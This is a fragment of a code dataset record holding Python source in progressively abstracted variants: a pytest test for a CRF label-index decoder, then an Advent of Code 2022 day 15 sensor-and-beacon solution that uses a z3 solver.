torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.\n transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\[email protected](scope='class')\ndef crf_data():\n \"\"\"\n 产生测试用的 crf data\n :return:\n \"\"\"\n return CRFData()\n\n\ndef test_crf_label_index_decoder(crf_data):\n \"\"\"\n 测试 crf label index decoder\n :param crf_data: crf data\n :return:\n \"\"\"\n mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.long)\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,\n label_vocabulary=crf_data.label_vocabulary)\n label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 4, 3], [4, 2, padding_index]]\n ASSERT.assertListEqual(expect, label_indices.tolist())\n\n\n<function token>\n", "<docstring token>\n<import token>\n\n\nclass CRFData:\n \"\"\"\n 测试用的 crf 数据\n \"\"\"\n\n def __init__(self):\n bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]\n self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=\n LabelVocabulary.PADDING)\n self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,\n 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, \n 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)\n self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)\n self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, \n 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, \n 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6\n ], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4\n ], dtype=torch.float)\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, \n 3), (3, 4), (4, 4), (4, 0)}\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=\n constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.\n transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\[email protected](scope='class')\ndef crf_data():\n \"\"\"\n 产生测试用的 crf data\n :return:\n \"\"\"\n return CRFData()\n\n\n<function token>\n<function token>\n", "<docstring token>\n<import token>\n\n\nclass CRFData:\n \"\"\"\n 测试用的 crf 数据\n \"\"\"\n\n def __init__(self):\n bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]\n self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=\n LabelVocabulary.PADDING)\n self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,\n 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, \n 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)\n self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)\n self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, \n 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, \n 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6\n ], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4\n ], dtype=torch.float)\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, \n 3), (3, 4), (4, 4), (4, 0)}\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=\n constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.\n transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\n<function token>\n<function token>\n<function token>\n", "<docstring token>\n<import token>\n\n\nclass CRFData:\n <docstring token>\n\n def __init__(self):\n bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]\n self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=\n LabelVocabulary.PADDING)\n self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,\n 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, \n 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)\n self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)\n self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, \n 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, \n 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6\n ], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4\n ], dtype=torch.float)\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, \n 3), (3, 4), (4, 4), (4, 0)}\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=\n constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.\n transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\n<function token>\n<function token>\n<function token>\n", "<docstring token>\n<import token>\n\n\nclass CRFData:\n <docstring token>\n <function token>\n\n\n<function token>\n<function token>\n<function token>\n", "<docstring token>\n<import token>\n<class token>\n<function token>\n<function token>\n<function token>\n" ]
false
9,981
c4bd55be86c1f55d89dfcbba2ccde4f3b132edcb
import re import z3 digit_search = re.compile('\-?\d+') def get_sensor_beacon(data_in): sensors = {} beacons = set() for line in data_in: s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line))) sensors[(s_x, s_y)] = abs(s_x - b_x) + abs(s_y - b_y) beacons.add((b_x, b_y)) return sensors, beacons def manhat(point_one, point_two): return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1]) def find_edge(sensors, pos, dir): x, row = pos closer = [] for sensor in sensors.keys(): if manhat(pos, sensor) <= sensors[sensor]: closer.append(sensor) if dir > 0: edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max([x for x, y in closer])][0] elif dir < 0: edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min([x for x, y in closer])][0] if dir > 0: if pos[0] > edgiest[0] and max([sensors[point] - manhat(pos, point) for point in closer]) == 0: return x elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]: new_x = x + max([1, (sensors[edgiest] - manhat(pos, edgiest))]) * dir return find_edge(sensors, (new_x, row), dir) elif dir < 0: if pos[0] < edgiest[0] and max([sensors[point] - manhat(pos, point) for point in closer]) == 0: return x elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]: new_x = x + max([1, (sensors[edgiest] - manhat(pos, edgiest))]) * dir return find_edge(sensors, (new_x, row), dir) else: raise Exception("This shouldn't be happening. We've gone too far!") def no_beacon_row(sensors, beacons, row): start_x = int(sum([y for x,y in sensors.keys()])/len(sensors.keys())) beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row]) # print(start_x) # print(beacons_on_row) # print(find_edge(sensors, (start_x, row), 1), find_edge(sensors, (start_x, row), -1)) return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (start_x, row), -1) - beacons_on_row + 1 # airlifted and modified to fit from u/hugh_tc https://www.reddit.com/r/adventofcode/comments/zmcn64/2022_day_15_solutions/j0af5cy/ def part_two(data_in): s = z3.Solver() x = z3.Int("x") y = z3.Int("y") s.add(0 <= x) s.add(x <= 4000000) s.add(0 <= y) s.add(y <= 4000000) def z3_abs(x): return z3.If(x >= 0, x, -x) for line in data: sx, sy, bx, by = [int(x) for x in digit_search.findall(line)] m = abs(sx - bx) + abs(sy - by) s.add(z3_abs(sx - x) + z3_abs(sy - y) > m) s.check() outx, outy = s.model()[x].as_long(), s.model()[y].as_long() return outx * 4000000 + outy with open("day15.txt" , "r") as f: data = f.read().split('\n') sensor_list, beacon_list = get_sensor_beacon(data) print("Part One:", no_beacon_row(sensor_list, beacon_list, 2000000)) print("Part Two:", part_two(data))
[ "import re\nimport z3\ndigit_search = re.compile('\\-?\\d+')\n\ndef get_sensor_beacon(data_in):\n sensors = {}\n beacons = set()\n for line in data_in:\n s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))\n sensors[(s_x, s_y)] = abs(s_x - b_x) + abs(s_y - b_y)\n beacons.add((b_x, b_y))\n return sensors, beacons\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max([x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min([x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([sensors[point] - manhat(pos, point) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, (sensors[edgiest] - manhat(pos, edgiest))]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([sensors[point] - manhat(pos, point) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, (sensors[edgiest] - manhat(pos, edgiest))]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\ndef no_beacon_row(sensors, beacons, row):\n start_x = int(sum([y for x,y in sensors.keys()])/len(sensors.keys()))\n beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])\n # print(start_x)\n # print(beacons_on_row)\n # print(find_edge(sensors, (start_x, row), 1), find_edge(sensors, (start_x, row), -1))\n return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (start_x, row), -1) - beacons_on_row + 1\n\n# airlifted and modified to fit from u/hugh_tc https://www.reddit.com/r/adventofcode/comments/zmcn64/2022_day_15_solutions/j0af5cy/\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int(\"x\")\n y = z3.Int(\"y\")\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\nwith open(\"day15.txt\" , \"r\") as f:\n data = f.read().split('\\n')\n\nsensor_list, beacon_list = get_sensor_beacon(data)\nprint(\"Part One:\", no_beacon_row(sensor_list, beacon_list, 2000000))\nprint(\"Part Two:\", part_two(data))\n\n", "import re\nimport z3\ndigit_search = re.compile('\\\\-?\\\\d+')\n\n\ndef get_sensor_beacon(data_in):\n sensors = {}\n beacons = set()\n for line in data_in:\n s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))\n sensors[s_x, s_y] = abs(s_x - b_x) + abs(s_y - b_y)\n beacons.add((b_x, b_y))\n return sensors, beacons\n\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\ndef no_beacon_row(sensors, beacons, row):\n start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))\n beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])\n return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (\n start_x, row), -1) - beacons_on_row + 1\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\nwith open('day15.txt', 'r') as f:\n data = f.read().split('\\n')\nsensor_list, beacon_list = get_sensor_beacon(data)\nprint('Part One:', no_beacon_row(sensor_list, beacon_list, 2000000))\nprint('Part Two:', part_two(data))\n", "<import token>\ndigit_search = re.compile('\\\\-?\\\\d+')\n\n\ndef get_sensor_beacon(data_in):\n sensors = {}\n beacons = set()\n for line in data_in:\n s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))\n sensors[s_x, s_y] = abs(s_x - b_x) + abs(s_y - b_y)\n beacons.add((b_x, b_y))\n return sensors, beacons\n\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\ndef no_beacon_row(sensors, beacons, row):\n start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))\n beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])\n return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (\n start_x, row), -1) - beacons_on_row + 1\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\nwith open('day15.txt', 'r') as f:\n data = f.read().split('\\n')\nsensor_list, beacon_list = get_sensor_beacon(data)\nprint('Part One:', no_beacon_row(sensor_list, beacon_list, 2000000))\nprint('Part Two:', part_two(data))\n", "<import token>\n<assignment token>\n\n\ndef get_sensor_beacon(data_in):\n sensors = {}\n beacons = set()\n for line in data_in:\n s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))\n sensors[s_x, s_y] = abs(s_x - b_x) + abs(s_y - b_y)\n beacons.add((b_x, b_y))\n return sensors, beacons\n\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\ndef no_beacon_row(sensors, beacons, row):\n start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))\n beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])\n return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (\n start_x, row), -1) - beacons_on_row + 1\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\nwith open('day15.txt', 'r') as f:\n data = f.read().split('\\n')\n<assignment token>\nprint('Part One:', no_beacon_row(sensor_list, beacon_list, 2000000))\nprint('Part Two:', part_two(data))\n", "<import token>\n<assignment token>\n\n\ndef get_sensor_beacon(data_in):\n sensors = {}\n beacons = set()\n for line in data_in:\n s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))\n sensors[s_x, s_y] = abs(s_x - b_x) + abs(s_y - b_y)\n beacons.add((b_x, b_y))\n return sensors, beacons\n\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\ndef no_beacon_row(sensors, beacons, row):\n start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))\n beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])\n return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (\n start_x, row), -1) - beacons_on_row + 1\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\ndef no_beacon_row(sensors, beacons, row):\n start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))\n beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])\n return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (\n start_x, row), -1) - beacons_on_row + 1\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\n<function token>\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\n<function token>\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return 